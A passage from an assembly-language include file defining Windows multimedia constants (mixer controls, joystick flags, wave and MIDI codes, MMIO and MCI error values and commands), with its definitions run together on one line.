MIXERLINE_COMPONENTTYPE_DST_FIRST+8+MIXERLINE_COMPONENTTYPE_DST_LAST equ MIXERLINE_COMPONENTTYPE_DST_FIRST+8+MIXERLINE_COMPONENTTYPE_SRC_FIRST equ 1000h+MIXERLINE_COMPONENTTYPE_SRC_UNDEFINED equ MIXERLINE_COMPONENTTYPE_SRC_FIRST+0+MIXERLINE_COMPONENTTYPE_SRC_DIGITAL equ MIXERLINE_COMPONENTTYPE_SRC_FIRST+1+MIXERLINE_COMPONENTTYPE_SRC_LINE equ MIXERLINE_COMPONENTTYPE_SRC_FIRST+2+MIXERLINE_COMPONENTTYPE_SRC_MICROPHONE equ MIXERLINE_COMPONENTTYPE_SRC_FIRST+3+MIXERLINE_COMPONENTTYPE_SRC_SYNTHESIZER equ MIXERLINE_COMPONENTTYPE_SRC_FIRST+4+MIXERLINE_COMPONENTTYPE_SRC_COMPACTDISC equ MIXERLINE_COMPONENTTYPE_SRC_FIRST+5+MIXERLINE_COMPONENTTYPE_SRC_TELEPHONE equ MIXERLINE_COMPONENTTYPE_SRC_FIRST+6+MIXERLINE_COMPONENTTYPE_SRC_PCSPEAKER equ MIXERLINE_COMPONENTTYPE_SRC_FIRST+7+MIXERLINE_COMPONENTTYPE_SRC_WAVEOUT equ MIXERLINE_COMPONENTTYPE_SRC_FIRST+8+MIXERLINE_COMPONENTTYPE_SRC_AUXILIARY equ MIXERLINE_COMPONENTTYPE_SRC_FIRST+9+MIXERLINE_COMPONENTTYPE_SRC_ANALOG equ MIXERLINE_COMPONENTTYPE_SRC_FIRST+10+MIXERLINE_COMPONENTTYPE_SRC_LAST equ MIXERLINE_COMPONENTTYPE_SRC_FIRST+10+MIXERLINE_TARGETTYPE_UNDEFINED equ 0+MIXERLINE_TARGETTYPE_WAVEOUT equ 1+MIXERLINE_TARGETTYPE_WAVEIN equ 2+MIXERLINE_TARGETTYPE_MIDIOUT equ 3+MIXERLINE_TARGETTYPE_MIDIIN equ 4+MIXERLINE_TARGETTYPE_AUX equ 5+MIXER_GETLINEINFOF_DESTINATION equ 0h+MIXER_GETLINEINFOF_SOURCE equ 1h+MIXER_GETLINEINFOF_LINEID equ 2h+MIXER_GETLINEINFOF_COMPONENTTYPE equ 3h+MIXER_GETLINEINFOF_TARGETTYPE equ 4h+MIXER_GETLINEINFOF_QUERYMASK equ 0Fh+MIXERCONTROL_CONTROLF_UNIFORM equ 1h+MIXERCONTROL_CONTROLF_MULTIPLE equ 2h+MIXERCONTROL_CONTROLF_DISABLED equ 80000000h+MIXERCONTROL_CT_CLASS_MASK equ 0F0000000h+MIXERCONTROL_CT_CLASS_CUSTOM equ 0h+MIXERCONTROL_CT_CLASS_METER equ 10000000h+MIXERCONTROL_CT_CLASS_SWITCH equ 20000000h+MIXERCONTROL_CT_CLASS_NUMBER equ 30000000h+MIXERCONTROL_CT_CLASS_SLIDER equ 40000000h+MIXERCONTROL_CT_CLASS_FADER equ 50000000h+MIXERCONTROL_CT_CLASS_TIME equ 60000000h+MIXERCONTROL_CT_CLASS_LIST equ 70000000h+MIXERCONTROL_CT_SUBCLASS_MASK equ 0F000000h+MIXERCONTROL_CT_SC_SWITCH_BOOLEAN equ 0h+MIXERCONTROL_CT_SC_SWITCH_BUTTON equ 1000000h+MIXERCONTROL_CT_SC_METER_POLLED equ 0h+MIXERCONTROL_CT_SC_TIME_MICROSECS equ 0h+MIXERCONTROL_CT_SC_TIME_MILLISECS equ 1000000h+MIXERCONTROL_CT_SC_LIST_SINGLE equ 0h+MIXERCONTROL_CT_SC_LIST_MULTIPLE equ 1000000h+MIXERCONTROL_CT_UNITS_MASK equ 0FF0000h+MIXERCONTROL_CT_UNITS_CUSTOM equ 0h+MIXERCONTROL_CT_UNITS_BOOLEAN equ 10000h+MIXERCONTROL_CT_UNITS_SIGNED equ 20000h+MIXERCONTROL_CT_UNITS_UNSIGNED equ 30000h+MIXERCONTROL_CT_UNITS_DECIBELS equ 40000h+MIXERCONTROL_CT_UNITS_PERCENT equ 50000h+MIXERCONTROL_CONTROLTYPE_CUSTOM equ MIXERCONTROL_CT_CLASS_CUSTOM|MIXERCONTROL_CT_UNITS_CUSTOM+MIXERCONTROL_CONTROLTYPE_BOOLEANMETER equ MIXERCONTROL_CT_CLASS_METER|MIXERCONTROL_CT_SC_METER_POLLED|MIXERCONTROL_CT_UNITS_BOOLEAN+MIXERCONTROL_CONTROLTYPE_SIGNEDMETER equ MIXERCONTROL_CT_CLASS_METER|MIXERCONTROL_CT_SC_METER_POLLED|MIXERCONTROL_CT_UNITS_SIGNED+MIXERCONTROL_CONTROLTYPE_PEAKMETER equ MIXERCONTROL_CONTROLTYPE_SIGNEDMETER+1+MIXERCONTROL_CONTROLTYPE_UNSIGNEDMETER equ MIXERCONTROL_CT_CLASS_METER|MIXERCONTROL_CT_SC_METER_POLLED|MIXERCONTROL_CT_UNITS_UNSIGNED+MIXERCONTROL_CONTROLTYPE_BOOLEAN equ MIXERCONTROL_CT_CLASS_SWITCH|MIXERCONTROL_CT_SC_SWITCH_BOOLEAN|MIXERCONTROL_CT_UNITS_BOOLEAN+MIXERCONTROL_CONTROLTYPE_ONOFF equ MIXERCONTROL_CONTROLTYPE_BOOLEAN+1+MIXERCONTROL_CONTROLTYPE_MUTE equ MIXERCONTROL_CONTROLTYPE_BOOLEAN+2+MIXERCONTROL_CONTROLTYPE_MONO equ MIXERCONTROL_CONTROLTYPE_BOOLEAN+3+MIXERCONTROL_CONTROLTYPE_LOUDNESS equ MIXERCONTROL_CONTROLTYPE_BOOLEAN+4+MIXERCONTROL_CONTROLTYPE_STEREOENH equ MIXERCONTROL_CONTROLTYPE_BOOLEAN+5+MIXERCONTROL_CONTROLTYPE_BUTTON equ MIXERCONTROL_CT_CLASS_SWITCH|MIXERCONTROL_CT_SC_SWITCH_BUTTON|MIXERCONTROL_CT_UNITS_BOOLEAN+MIXERCONTROL_CONTROLTYPE_DECIBELS equ MIXERCONTROL_CT_CLASS_NUMBER|MIXERCONTROL_CT_UNITS_DECIBELS+MIXERCONTROL_CONTROLTYPE_SIGNED equ MIXERCONTROL_CT_CLASS_NUMBER|MIXERCONTROL_CT_UNITS_SIGNED+MIXERCONTROL_CONTROLTYPE_UNSIGNED equ MIXERCONTROL_CT_CLASS_NUMBER|MIXERCONTROL_CT_UNITS_UNSIGNED+MIXERCONTROL_CONTROLTYPE_PERCENT equ MIXERCONTROL_CT_CLASS_NUMBER|MIXERCONTROL_CT_UNITS_PERCENT+MIXERCONTROL_CONTROLTYPE_SLIDER equ MIXERCONTROL_CT_CLASS_SLIDER|MIXERCONTROL_CT_UNITS_SIGNED+MIXERCONTROL_CONTROLTYPE_PAN equ MIXERCONTROL_CONTROLTYPE_SLIDER+1+MIXERCONTROL_CONTROLTYPE_QSOUNDPAN equ MIXERCONTROL_CONTROLTYPE_SLIDER+2+MIXERCONTROL_CONTROLTYPE_FADER equ MIXERCONTROL_CT_CLASS_FADER|MIXERCONTROL_CT_UNITS_UNSIGNED+MIXERCONTROL_CONTROLTYPE_VOLUME equ MIXERCONTROL_CONTROLTYPE_FADER+1+MIXERCONTROL_CONTROLTYPE_BASS equ MIXERCONTROL_CONTROLTYPE_FADER+2+MIXERCONTROL_CONTROLTYPE_TREBLE equ MIXERCONTROL_CONTROLTYPE_FADER+3+MIXERCONTROL_CONTROLTYPE_EQUALIZER equ MIXERCONTROL_CONTROLTYPE_FADER+4+MIXERCONTROL_CONTROLTYPE_SINGLESELECT equ MIXERCONTROL_CT_CLASS_LIST|MIXERCONTROL_CT_SC_LIST_SINGLE|MIXERCONTROL_CT_UNITS_BOOLEAN+MIXERCONTROL_CONTROLTYPE_MUX equ MIXERCONTROL_CONTROLTYPE_SINGLESELECT+1+MIXERCONTROL_CONTROLTYPE_MULTIPLESELECT equ MIXERCONTROL_CT_CLASS_LIST|MIXERCONTROL_CT_SC_LIST_MULTIPLE|MIXERCONTROL_CT_UNITS_BOOLEAN+MIXERCONTROL_CONTROLTYPE_MIXER equ MIXERCONTROL_CONTROLTYPE_MULTIPLESELECT+1+MIXERCONTROL_CONTROLTYPE_MICROTIME equ MIXERCONTROL_CT_CLASS_TIME|MIXERCONTROL_CT_SC_TIME_MICROSECS|MIXERCONTROL_CT_UNITS_UNSIGNED+MIXERCONTROL_CONTROLTYPE_MILLITIME equ MIXERCONTROL_CT_CLASS_TIME|MIXERCONTROL_CT_SC_TIME_MILLISECS|MIXERCONTROL_CT_UNITS_UNSIGNED+MIXER_GETLINECONTROLSF_ALL equ 0h+MIXER_GETLINECONTROLSF_ONEBYID equ 1h+MIXER_GETLINECONTROLSF_ONEBYTYPE equ 2h+MIXER_GETLINECONTROLSF_QUERYMASK equ 0Fh+MIXER_GETCONTROLDETAILSF_VALUE equ 0h+MIXER_GETCONTROLDETAILSF_LISTTEXT equ 1h+MIXER_GETCONTROLDETAILSF_QUERYMASK equ 0Fh+MIXER_SETCONTROLDETAILSF_VALUE equ 0h+MIXER_SETCONTROLDETAILSF_CUSTOM equ 1h+MIXER_SETCONTROLDETAILSF_QUERYMASK equ 0Fh+JOY_BUTTON5 equ 10h+JOY_BUTTON6 equ 20h+JOY_BUTTON7 equ 40h+JOY_BUTTON8 equ 80h+JOY_BUTTON9 equ 100h+JOY_BUTTON10 equ 200h+JOY_BUTTON11 equ 400h+JOY_BUTTON12 equ 800h+JOY_BUTTON13 equ 1000h+JOY_BUTTON14 equ 2000h+JOY_BUTTON15 equ 4000h+JOY_BUTTON16 equ 8000h+JOY_BUTTON17 equ 10000h+JOY_BUTTON18 equ 20000h+JOY_BUTTON19 equ 40000h+JOY_BUTTON20 equ 80000h+JOY_BUTTON21 equ 100000h+JOY_BUTTON22 equ 200000h+JOY_BUTTON23 equ 400000h+JOY_BUTTON24 equ 800000h+JOY_BUTTON25 equ 1000000h+JOY_BUTTON26 equ 2000000h+JOY_BUTTON27 equ 4000000h+JOY_BUTTON28 equ 8000000h+JOY_BUTTON29 equ 10000000h+JOY_BUTTON30 equ 20000000h+JOY_BUTTON31 equ 40000000h+JOY_BUTTON32 equ 80000000h+JOY_POVCENTERED equ -1+JOY_POVFORWARD equ 0+JOY_POVRIGHT equ 9000+JOY_POVBACKWARD equ 18000+JOY_POVLEFT equ 27000+JOY_RETURNX equ 1h+JOY_RETURNY equ 2h+JOY_RETURNZ equ 4h+JOY_RETURNR equ 8h+JOY_RETURNU equ 10h+JOY_RETURNV equ 20h+JOY_RETURNPOV equ 40h+JOY_RETURNBUTTONS equ 80h+JOY_RETURNRAWDATA equ 100h+JOY_RETURNPOVCTS equ 200h+JOY_RETURNCENTERED equ 400h+JOY_USEDEADZONE equ 800h+JOY_RETURNALL equ JOY_RETURNX|JOY_RETURNY|JOY_RETURNZ|JOY_RETURNR|JOY_RETURNU|JOY_RETURNV|JOY_RETURNPOV|JOY_RETURNBUTTONS+JOY_CAL_READALWAYS equ 10000h+JOY_CAL_READXYONLY equ 20000h+JOY_CAL_READ3 equ 40000h+JOY_CAL_READ4 equ 80000h+JOY_CAL_READXONLY equ 100000h+JOY_CAL_READYONLY equ 200000h+JOY_CAL_READ5 equ 400000h+JOY_CAL_READ6 equ 800000h+JOY_CAL_READZONLY equ 1000000h+JOY_CAL_READRONLY equ 2000000h+JOY_CAL_READUONLY equ 4000000h+JOY_CAL_READVONLY equ 8000000h+WAVE_FORMAT_QUERY equ 1h+SND_PURGE equ 40h+SND_APPLICATION equ 80h+WAVE_MAPPED equ 4h+WAVE_FORMAT_DIRECT equ 8h+WAVE_FORMAT_DIRECT_QUERY equ WAVE_FORMAT_QUERY|WAVE_FORMAT_DIRECT+MIM_MOREDATA equ MM_MIM_MOREDATA+MOM_POSITIONCB equ MM_MOM_POSITIONCB+MIDI_IO_STATUS equ 20h+DRV_LOAD equ 1h+DRV_ENABLE equ 2h+DRV_OPEN equ 3h+DRV_CLOSE equ 4h+DRV_DISABLE equ 5h+DRV_FREE equ 6h+DRV_CONFIGURE equ 7h+DRV_QUERYCONFIGURE equ 8h+DRV_INSTALL equ 9h+DRV_REMOVE equ 0Ah+DRV_EXITSESSION equ 0Bh+DRV_POWER equ 0Fh+DRV_RESERVED equ 800h+DRV_USER equ 4000h+DRVCNF_CANCEL equ 0h+DRVCNF_OK equ 1h+DRVCNF_RESTART equ 2h+DRV_CANCEL equ DRVCNF_CANCEL+DRV_OK equ DRVCNF_OK+DRV_RESTART equ DRVCNF_RESTART+DRV_MCI_FIRST equ DRV_RESERVED+DRV_MCI_LAST equ DRV_RESERVED+0FFFh+CALLBACK_TYPEMASK equ 70000h+CALLBACK_NULL equ 0h+CALLBACK_WINDOW equ 10000h+CALLBACK_TASK equ 20000h+CALLBACK_FUNCTION equ 30000h+MM_MICROSOFT equ 1+MM_MIDI_MAPPER equ 1+MM_WAVE_MAPPER equ 2+MM_SNDBLST_MIDIOUT equ 3+MM_SNDBLST_MIDIIN equ 4+MM_SNDBLST_SYNTH equ 5+MM_SNDBLST_WAVEOUT equ 6+MM_SNDBLST_WAVEIN equ 7+MM_ADLIB equ 9+MM_MPU401_MIDIOUT equ 10+MM_MPU401_MIDIIN equ 11+MM_PC_JOYSTICK equ 12+SND_SYNC equ 0h+SND_ASYNC equ 1h+SND_NODEFAULT equ 2h+SND_MEMORY equ 4h+SND_ALIAS equ 10000h+SND_FILENAME equ 20000h+SND_RESOURCE equ 40004h+SND_ALIAS_ID equ 110000h+SND_ALIAS_START equ 0+SND_LOOP equ 8h+SND_NOSTOP equ 10h+SND_VALID equ 1Fh+SND_NOWAIT equ 2000h+SND_VALIDFLAGS equ 17201Fh+SND_RESERVED equ 0FF000000h+SND_TYPE_MASK equ 170007h+WAVERR_BADFORMAT equ WAVERR_BASE+0+WAVERR_STILLPLAYING equ WAVERR_BASE+1+WAVERR_UNPREPARED equ WAVERR_BASE+2+WAVERR_SYNC equ WAVERR_BASE+3+WAVERR_LASTERROR equ WAVERR_BASE+3+WOM_OPEN equ MM_WOM_OPEN+WOM_CLOSE equ MM_WOM_CLOSE+WOM_DONE equ MM_WOM_DONE+WIM_OPEN equ MM_WIM_OPEN+WIM_CLOSE equ MM_WIM_CLOSE+WIM_DATA equ MM_WIM_DATA+WAVE_MAPPER equ -1+WAVE_ALLOWSYNC equ 2h+WAVE_VALID equ 3h+WHDR_DONE equ 1h+WHDR_PREPARED equ 2h+WHDR_BEGINLOOP equ 4h+WHDR_ENDLOOP equ 8h+WHDR_INQUEUE equ 10h+WHDR_VALID equ 1Fh+WAVECAPS_PITCH equ 1h+WAVECAPS_PLAYBACKRATE equ 2h+WAVECAPS_VOLUME equ 4h+WAVECAPS_LRVOLUME equ 8h+WAVECAPS_SYNC equ 10h+WAVE_INVALIDFORMAT equ 0h+WAVE_FORMAT_1M08 equ 1h+WAVE_FORMAT_1S08 equ 2h+WAVE_FORMAT_1M16 equ 4h+WAVE_FORMAT_1S16 equ 8h+WAVE_FORMAT_2M08 equ 10h+WAVE_FORMAT_2S08 equ 20h+WAVE_FORMAT_2M16 equ 40h+WAVE_FORMAT_2S16 equ 80h+WAVE_FORMAT_4M08 equ 100h+WAVE_FORMAT_4S08 equ 200h+WAVE_FORMAT_4M16 equ 400h+WAVE_FORMAT_4S16 equ 800h+WAVE_FORMAT_PCM equ 1+MIDIERR_UNPREPARED equ MIDIERR_BASE+0+MIDIERR_STILLPLAYING equ MIDIERR_BASE+1+MIDIERR_NOMAP equ MIDIERR_BASE+2+MIDIERR_NOTREADY equ MIDIERR_BASE+3+MIDIERR_NODEVICE equ MIDIERR_BASE+4+MIDIERR_INVALIDSETUP equ MIDIERR_BASE+5+MIDIERR_LASTERROR equ MIDIERR_BASE+5+MIM_OPEN equ MM_MIM_OPEN+MIM_CLOSE equ MM_MIM_CLOSE+MIM_DATA equ MM_MIM_DATA+MIM_LONGDATA equ MM_MIM_LONGDATA+MIM_ERROR equ MM_MIM_ERROR+MIM_LONGERROR equ MM_MIM_LONGERROR+MOM_OPEN equ MM_MOM_OPEN+MOM_CLOSE equ MM_MOM_CLOSE+MOM_DONE equ MM_MOM_DONE+MIDIMAPPER equ -1+MIDI_MAPPER equ -1+MIDI_CACHE_ALL equ 1+MIDI_CACHE_BESTFIT equ 2+MIDI_CACHE_QUERY equ 3+MIDI_UNCACHE equ 4+MIDI_CACHE_VALID equ MIDI_CACHE_ALL|MIDI_CACHE_BESTFIT|MIDI_CACHE_QUERY|MIDI_UNCACHE+MOD_MIDIPORT equ 1+MOD_SYNTH equ 2+MOD_SQSYNTH equ 3+MOD_FMSYNTH equ 4+MOD_MAPPER equ 5+MIDICAPS_VOLUME equ 1h+MIDICAPS_LRVOLUME equ 2h+MIDICAPS_CACHE equ 4h+MHDR_DONE equ 1h+MHDR_PREPARED equ 2h+MHDR_INQUEUE equ 4h+MHDR_VALID equ 7h+AUX_MAPPER equ -1+AUXCAPS_CDAUDIO equ 1+AUXCAPS_AUXIN equ 2+AUXCAPS_VOLUME equ 1h+AUXCAPS_LRVOLUME equ 2h+TIMERR_NOERROR equ 0+TIMERR_NOCANDO equ TIMERR_BASE+1+TIMERR_STRUCT equ TIMERR_BASE+33+TIME_ONESHOT equ 0+TIME_PERIODIC equ 1+JOYERR_NOERROR equ 0+JOYERR_PARMS equ JOYERR_BASE+5+JOYERR_NOCANDO equ JOYERR_BASE+6+JOYERR_UNPLUGGED equ JOYERR_BASE+7+JOY_BUTTON1 equ 1h+JOY_BUTTON2 equ 2h+JOY_BUTTON3 equ 4h+JOY_BUTTON4 equ 8h+JOY_BUTTON1CHG equ 100h+JOY_BUTTON2CHG equ 200h+JOY_BUTTON3CHG equ 400h+JOY_BUTTON4CHG equ 800h+JOYSTICKID1 equ 0+JOYSTICKID2 equ 1+MMIOERR_BASE equ 256+MMIOERR_FILENOTFOUND equ MMIOERR_BASE+1+MMIOERR_OUTOFMEMORY equ MMIOERR_BASE+2+MMIOERR_CANNOTOPEN equ MMIOERR_BASE+3+MMIOERR_CANNOTCLOSE equ MMIOERR_BASE+4+MMIOERR_CANNOTREAD equ MMIOERR_BASE+5+MMIOERR_CANNOTWRITE equ MMIOERR_BASE+6+MMIOERR_CANNOTSEEK equ MMIOERR_BASE+7+MMIOERR_CANNOTEXPAND equ MMIOERR_BASE+8+MMIOERR_CHUNKNOTFOUND equ MMIOERR_BASE+9+MMIOERR_UNBUFFERED equ MMIOERR_BASE+10+MMIO_RWMODE equ 3h+MMIO_SHAREMODE equ 70h+MMIO_CREATE equ 1000h+MMIO_PARSE equ 100h+MMIO_DELETE equ 200h+MMIO_EXIST equ 4000h+MMIO_ALLOCBUF equ 10000h+MMIO_GETTEMP equ 20000h+MMIO_DIRTY equ 10000000h+MMIO_OPEN_VALID equ 3FFFFh+MMIO_READ equ 0h+MMIO_WRITE equ 1h+MMIO_READWRITE equ 2h+MMIO_COMPAT equ 0h+MMIO_EXCLUSIVE equ 10h+MMIO_DENYWRITE equ 20h+MMIO_DENYREAD equ 30h+MMIO_DENYNONE equ 40h+MMIO_FHOPEN equ 10h+MMIO_EMPTYBUF equ 10h+MMIO_TOUPPER equ 10h+MMIO_INSTALLPROC equ 10000h+MMIO_PUBLICPROC equ 10000000h+MMIO_UNICODEPROC equ 1000000h+MMIO_REMOVEPROC equ 20000h+MMIO_FINDPROC equ 40000h+MMIO_FINDCHUNK equ 10h+MMIO_FINDRIFF equ 20h+MMIO_FINDLIST equ 40h+MMIO_CREATERIFF equ 20h+MMIO_CREATELIST equ 40h+MMIO_VALIDPROC equ 11070000h+MMIOM_READ equ MMIO_READ+MMIOM_WRITE equ MMIO_WRITE+MMIOM_SEEK equ 2+MMIOM_OPEN equ 3+MMIOM_CLOSE equ 4+MMIOM_WRITEFLUSH equ 5+MMIOM_RENAME equ 6+MMIOM_USER equ 8000h+SEEK_SET equ 0+SEEK_CUR equ 1+SEEK_END equ 2+MMIO_DEFAULTBUFFER equ 8192+MCIERR_INVALID_DEVICE_ID equ MCIERR_BASE+1+MCIERR_UNRECOGNIZED_KEYWORD equ MCIERR_BASE+3+MCIERR_UNRECOGNIZED_COMMAND equ MCIERR_BASE+5+MCIERR_HARDWARE equ MCIERR_BASE+6+MCIERR_INVALID_DEVICE_NAME equ MCIERR_BASE+7+MCIERR_OUT_OF_MEMORY equ MCIERR_BASE+8+MCIERR_DEVICE_OPEN equ MCIERR_BASE+9+MCIERR_CANNOT_LOAD_DRIVER equ MCIERR_BASE+10+MCIERR_MISSING_COMMAND_STRING equ MCIERR_BASE+11+MCIERR_PARAM_OVERFLOW equ MCIERR_BASE+12+MCIERR_MISSING_STRING_ARGUMENT equ MCIERR_BASE+13+MCIERR_BAD_INTEGER equ MCIERR_BASE+14+MCIERR_PARSER_INTERNAL equ MCIERR_BASE+15+MCIERR_DRIVER_INTERNAL equ MCIERR_BASE+16+MCIERR_MISSING_PARAMETER equ MCIERR_BASE+17+MCIERR_UNSUPPORTED_FUNCTION equ MCIERR_BASE+18+MCIERR_FILE_NOT_FOUND equ MCIERR_BASE+19+MCIERR_DEVICE_NOT_READY equ MCIERR_BASE+20+MCIERR_INTERNAL equ MCIERR_BASE+21+MCIERR_DRIVER equ MCIERR_BASE+22+MCIERR_CANNOT_USE_ALL equ MCIERR_BASE+23+MCIERR_MULTIPLE equ MCIERR_BASE+24+MCIERR_EXTENSION_NOT_FOUND equ MCIERR_BASE+25+MCIERR_OUTOFRANGE equ MCIERR_BASE+26+MCIERR_FLAGS_NOT_COMPATIBLE equ MCIERR_BASE+28+MCIERR_FILE_NOT_SAVED equ MCIERR_BASE+30+MCIERR_DEVICE_TYPE_REQUIRED equ MCIERR_BASE+31+MCIERR_DEVICE_LOCKED equ MCIERR_BASE+32+MCIERR_DUPLICATE_ALIAS equ MCIERR_BASE+33+MCIERR_BAD_CONSTANT equ MCIERR_BASE+34+MCIERR_MUST_USE_SHAREABLE equ MCIERR_BASE+35+MCIERR_MISSING_DEVICE_NAME equ MCIERR_BASE+36+MCIERR_BAD_TIME_FORMAT equ MCIERR_BASE+37+MCIERR_NO_CLOSING_QUOTE equ MCIERR_BASE+38+MCIERR_DUPLICATE_FLAGS equ MCIERR_BASE+39+MCIERR_INVALID_FILE equ MCIERR_BASE+40+MCIERR_NULL_PARAMETER_BLOCK equ MCIERR_BASE+41+MCIERR_UNNAMED_RESOURCE equ MCIERR_BASE+42+MCIERR_NEW_REQUIRES_ALIAS equ MCIERR_BASE+43+MCIERR_NOTIFY_ON_AUTO_OPEN equ MCIERR_BASE+44+MCIERR_NO_ELEMENT_ALLOWED equ MCIERR_BASE+45+MCIERR_NONAPPLICABLE_FUNCTION equ MCIERR_BASE+46+MCIERR_ILLEGAL_FOR_AUTO_OPEN equ MCIERR_BASE+47+MCIERR_FILENAME_REQUIRED equ MCIERR_BASE+48+MCIERR_EXTRA_CHARACTERS equ MCIERR_BASE+49+MCIERR_DEVICE_NOT_INSTALLED equ MCIERR_BASE+50+MCIERR_GET_CD equ MCIERR_BASE+51+MCIERR_SET_CD equ MCIERR_BASE+52+MCIERR_SET_DRIVE equ MCIERR_BASE+53+MCIERR_DEVICE_LENGTH equ MCIERR_BASE+54+MCIERR_DEVICE_ORD_LENGTH equ MCIERR_BASE+55+MCIERR_NO_INTEGER equ MCIERR_BASE+56+MCIERR_WAVE_OUTPUTSINUSE equ MCIERR_BASE+64+MCIERR_WAVE_SETOUTPUTINUSE equ MCIERR_BASE+65+MCIERR_WAVE_INPUTSINUSE equ MCIERR_BASE+66+MCIERR_WAVE_SETINPUTINUSE equ MCIERR_BASE+67+MCIERR_WAVE_OUTPUTUNSPECIFIED equ MCIERR_BASE+68+MCIERR_WAVE_INPUTUNSPECIFIED equ MCIERR_BASE+69+MCIERR_WAVE_OUTPUTSUNSUITABLE equ MCIERR_BASE+70+MCIERR_WAVE_SETOUTPUTUNSUITABLE equ MCIERR_BASE+71+MCIERR_WAVE_INPUTSUNSUITABLE equ MCIERR_BASE+72+MCIERR_WAVE_SETINPUTUNSUITABLE equ MCIERR_BASE+73+MCIERR_SEQ_DIV_INCOMPATIBLE equ MCIERR_BASE+80+MCIERR_SEQ_PORT_INUSE equ MCIERR_BASE+81+MCIERR_SEQ_PORT_NONEXISTENT equ MCIERR_BASE+82+MCIERR_SEQ_PORT_MAPNODEVICE equ MCIERR_BASE+83+MCIERR_SEQ_PORT_MISCERROR equ MCIERR_BASE+84+MCIERR_SEQ_TIMER equ MCIERR_BASE+85+MCIERR_SEQ_PORTUNSPECIFIED equ MCIERR_BASE+86+MCIERR_SEQ_NOMIDIPRESENT equ MCIERR_BASE+87+MCIERR_NO_WINDOW equ MCIERR_BASE+90+MCIERR_CREATEWINDOW equ MCIERR_BASE+91+MCIERR_FILE_READ equ MCIERR_BASE+92+MCIERR_FILE_WRITE equ MCIERR_BASE+93+MCIERR_CUSTOM_DRIVER_BASE equ MCIERR_BASE+256+MCI_FIRST equ 800h+MCI_OPEN equ 803h+MCI_CLOSE equ 804h+MCI_ESCAPE equ 805h+MCI_PLAY equ 806h+MCI_SEEK equ 807h+MCI_STOP equ 808h+MCI_PAUSE equ 809h+MCI_INFO equ 80Ah+MCI_GETDEVCAPS equ 80Bh+MCI_SPIN equ 80Ch+MCI_SET equ 80Dh+MCI_STEP equ 80Eh+MCI_RECORD equ 80Fh+MCI_SYSINFO equ 810h+MCI_BREAK equ 811h+MCI_SOUND equ 812h+MCI_SAVE equ 813h+MCI_STATUS equ 814h+MCI_CUE equ 830h+MCI_REALIZE equ 840h+MCI_WINDOW equ 841h+MCI_PUT equ 842h+MCI_WHERE equ 843h+MCI_FREEZE equ 844h+MCI_UNFREEZE equ 845h+MCI_LOAD equ 850h+MCI_CUT equ 851h+MCI_COPY equ 852h+MCI_PASTE equ 853h+MCI_UPDATE equ 854h+MCI_RESUME equ 855h+MCI_DELETE equ 856h+MCI_LAST equ 0FFFh+MCI_USER_MESSAGES equ 400h+MCI_FIRST+MCI_ALL_DEVICE_ID equ -1+MCI_DEVTYPE_VCR equ 513+MCI_DEVTYPE_VIDEODISC equ 514+MCI_DEVTYPE_OVERLAY equ 515+MCI_DEVTYPE_CD_AUDIO equ 516+MCI_DEVTYPE_DAT equ 517+MCI_DEVTYPE_SCANNER equ 518+MCI_DEVTYPE_ANIMATION equ 519+MCI_DEVTYPE_DIGITAL_VIDEO equ 520+MCI_DEVTYPE_OTHER equ 521+MCI_DEVTYPE_WAVEFORM_AUDIO equ 522+MCI_DEVTYPE_SEQUENCER equ 523+MCI_DEVTYPE_FIRST equ MCI_DEVTYPE_VCR+MCI_DEVTYPE_LAST equ MCI_DEVTYPE_SEQUENCER+MCI_DEVTYPE_FIRST_USER equ 1000h+MCI_MODE_NOT_READY equ MCI_STRING_OFFSET+12+MCI_MODE_STOP equ MCI_STRING_OFFSET+13+MCI_MODE_PLAY equ MCI_STRING_OFFSET+14+MCI_MODE_RECORD equ MCI_STRING_OFFSET+15+MCI_MODE_SEEK equ MCI_STRING_OFFSET+16+MCI_MODE_PAUSE equ MCI_STRING_OFFSET+17+MCI_MODE_OPEN equ MCI_STRING_OFFSET+18+MCI_FORMAT_MILLISECONDS equ 0+MCI_FORMAT_HMS equ 1+MCI_FORMAT_MSF equ 2+MCI_FORMAT_FRAMES equ 3+MCI_FORMAT_SMPTE_24 equ 4+MCI_FORMAT_SMPTE_25 equ 5+MCI_FORMAT_SMPTE_30 equ 6+MCI_FORMAT_SMPTE_30DROP equ 7+MCI_FORMAT_BYTES equ 8+MCI_FORMAT_SAMPLES equ 9+MCI_FORMAT_TMSF equ 10+MCI_NOTIFY_SUCCESSFUL equ 1h+MCI_NOTIFY_SUPERSEDED equ 2h+MCI_NOTIFY_ABORTED equ 4h+MCI_NOTIFY_FAILURE equ 8h+MCI_NOTIFY equ 1h+MCI_WAIT equ 2h+MCI_FROM equ 4h+MCI_TO equ 8h+MCI_TRACK equ 10h+MCI_OPEN_SHAREABLE equ 100h+MCI_OPEN_ELEMENT equ 200h+MCI_OPEN_ALIAS equ 400h+MCI_OPEN_ELEMENT_ID equ 800h+MCI_OPEN_TYPE_ID equ 1000h+MCI_OPEN_TYPE equ 2000h+MCI_SEEK_TO_START equ 100h+MCI_SEEK_TO_END equ 200h+MCI_STATUS_ITEM equ 100h+MCI_STATUS_START equ 200h+MCI_STATUS_LENGTH equ 1h+MCI_STATUS_POSITION equ 2h+MCI_STATUS_NUMBER_OF_TRACKS equ 3h+MCI_STATUS_MODE equ 4h+MCI_STATUS_MEDIA_PRESENT equ 5h+MCI_STATUS_TIME_FORMAT equ 6h+MCI_STATUS_READY equ 7h+MCI_STATUS_CURRENT_TRACK equ 8h+MCI_INFO_PRODUCT equ 100h+MCI_INFO_FILE equ 200h+MCI_GETDEVCAPS_ITEM equ 100h+MCI_GETDEVCAPS_CAN_RECORD equ 1h+MCI_GETDEVCAPS_HAS_AUDIO equ 2h+MCI_GETDEVCAPS_HAS_VIDEO equ 3h+MCI_GETDEVCAPS_DEVICE_TYPE equ 4h+MCI_GETDEVCAPS_USES_FILES equ 5h+MCI_GETDEVCAPS_COMPOUND_DEVICE equ 6h+MCI_GETDEVCAPS_CAN_EJECT equ 7h+MCI_GETDEVCAPS_CAN_PLAY equ 8h+MCI_GETDEVCAPS_CAN_SAVE equ 9h+MCI_SYSINFO_QUANTITY equ 100h+MCI_SYSINFO_OPEN equ 200h+MCI_SYSINFO_NAME equ 400h+MCI_SYSINFO_INSTALLNAME equ 800h+MCI_SET_DOOR_OPEN equ 100h+MCI_SET_DOOR_CLOSED equ 200h+MCI_SET_TIME_FORMAT equ 400h+MCI_SET_AUDIO equ 800h+MCI_SET_VIDEO equ 1000h+MCI_SET_ON equ 2000h+MCI_SET_OFF equ 4000h+MCI_SET_AUDIO_ALL equ 